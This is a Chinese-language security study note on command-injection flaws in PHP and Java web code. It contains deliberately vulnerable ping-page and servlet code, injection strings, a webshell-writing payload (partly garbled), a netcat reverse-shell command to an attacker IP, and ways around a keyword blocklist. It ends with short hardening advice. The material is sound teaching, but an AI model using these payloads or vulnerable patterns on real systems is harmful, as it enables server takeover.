本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
命令执行漏洞值开发者不正确的调用了系统执行函数,导致攻击者可执行任意指令,甚至控制服务器。
常用的命令执行函数system,exec,shell_exec,passthru,popen,proc_popen
还是从一个实例入手
某网站有一个执行命令的指令,允许用户对一个ip执行Ping操作。
当用户输入用户ip时,会返回ping的结果
index.php
$ip=$_GET['ip'];
if ($ip){
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$result = shell_exec( 'ping ' . $ip );
}
else {
$result = shell_exec('ping -c 4 ' . $ip);
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Ping</title>
</head>
<body>
<form action="">
<label for="ip">请输入IP地址:</label>
<input type="text" id="ip" placeholder="xx.xx.xx.xx" name="ip"><br>
<input type="submit">
</form>
<?php echo "$result
";?>
</body>
</html>
但假如某黑客,他输入了
127.0.0.1 && whoami
此时就会返回
发现成功执行了后面的whoami指令,造成了命令执行漏洞。
在上述事例中,攻击者在ip地址后加上了**&&**,从而导致&&后面的指令执行,这在shell中叫做管道符,还有一些常用的管道符
管道符 | 介绍 | 实例 |
---|---|---|
| | 直接执行后面的语句 | ping 127.0.0.1 | whoami |
|| | 如果前面执行的语句出错,则执行后面的语句,前面的语句只能为假 | ping 1 || whoami |
& | 如果前面执行的语句为假则执行后面的语句,前面的语句可真可假 | ping 127.0.0.1 & whoami |
&& | 如果前面的语句为假则直接出错则直接出错,也不执行后面的语句,前面的语句只能为真 | ping 127.0.0.1 && whoami |
管道符 | 介绍 | 实例 |
---|---|---|
; | 执行完前面的语句再执行后面的 | ping 127.0.0.1 ; whoami |
| | 显示后面语句的执行结果 | ping 127.0.0.1 | whoami |
|| | 当前面的语句出错时,执行后面的语句 | ping 1 || whoami |
& | 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 | ping 127.0.0.1 & whoami |
&& | 如果前面的语句为假就直接出错,也不执行后面的,前面的语句只能为真 | ping 127.0.0.1 && whoami |
当黑客输入127.0.0.1 && whoami
时,就执行了前面的ping和后面的whoami
当你可以执行任意指令,你就可以执行许多操作,如果权限足够大,甚至可以直接控制服务器。在这里列出几种常用的方法
写WebShell
如果对当前目录有写权限,可以在网站中写入一句话木马。
还是上面的实例,假如黑客想要写入一句话吗木马,就可以输入
127.0.0.1 & echo "$_POST[manlu]); ?>" > 1.php
此时在目录下就会成功写入WebShell
不过我从来没有写成功过。
NC反弹连接
虽然我没有成功的写入过一句话木马,但是大部分都可以nc反弹连接。
nc全称Netcat,在安装nmap时自带了,在命令行输入nc
或ncat
以使用nc
当靶机是linux时,默认安装netcat,可以nc反弹连接
攻击机监听端口
nc -lvvp 1234
靶机执行指令
nc -v 攻击机ip 1234 -e /bin/bash
由于我的靶机是Windows,这里就不掩饰了,感兴趣的可以自己尝试
读文件
可以通过命令执行漏洞读文件,遍历文件夹
读文件常用指令:
cat,tac,more
遍历目录常用指令
ls,dir
上面的实例,假如我想读index.php的内容
127.0.0.1 & type index.php
看起来好像什么都没有,是因为浏览器自动解析了html内容并注释了PHP的内容,使用bp或按F12查看源代码就可以看到源文件的内容
成功读取了文件
通常会有绕过措施
index.php
$ip=$_GET['ip'];
$is_safe=true;
$black=['ls','cat','nc','ncat'];
$tmp=explode(' ',$ip);
for ($i=0;$i<count($tmp);$i++){
if (in_array($tmp[$i],$black)){
$is_safe=false;
}
}
if ($ip && $is_safe){
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$result = shell_exec( 'ping ' . $ip );
}
else {
$result = shell_exec('ping -c 4 ' . $ip);
}
}
else{
$result="Get out of here, hacker";
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Ping</title>
</head>
<body>
<form action="">
<label for="ip">请输入IP地址:</label>
<input type="text" id="ip" placeholder="xx.xx.xx.xx" name="ip"><br>
<input type="submit">
</form>
<?php echo "$result
";?>
</body>
</html>
如果输入正常的ip,程序正常执行,但如果输入了危险词汇,如cat,就会弹出
像这种情况,要尝试其他的表达,如cat->more,ls->dir
例如输入127.0.0.1 & dir
1.尽量不使用命令执行
2.如果一定要用,一定要严格处理用户输入,使用白名单
通常后台管理会有命令执行的漏洞,我先前写的网站就可以执行系统指令,但当我写这篇文章时发现我先前的网站存在任意指令执行漏洞
这里重现一下源码
CmdExecutor.java
package servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Map;
@WebServlet(name = "CmdExecutor", urlPatterns = "/CmdExecutor")
public class CmdExecutor extends HttpServlet {
String text = "";
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter("cmd");
PrintWriter out = response.getWriter();
StringBuilder s = new StringBuilder();
BufferedReader br = null;
try {
Process p = Runtime.getRuntime().exec("cmd /c " + cmd);
br = new BufferedReader(new InputStreamReader(p.getInputStream(), Charset.forName("GBK")));
String line = null;
while ((line = br.readLine()) != null) {
s.append(line).append("\n");
}
} catch (IOException e) {
e.printStackTrace();
} finally {
if (br != null) {
try {
br.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
out.println(s.toString());
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().println("看你妈
");
}
}
在这里,我没有进行登录验证,导致任意用户都可以执行指令。
所以,如果后台管理需要命令执行功能,一定要做好用户验证。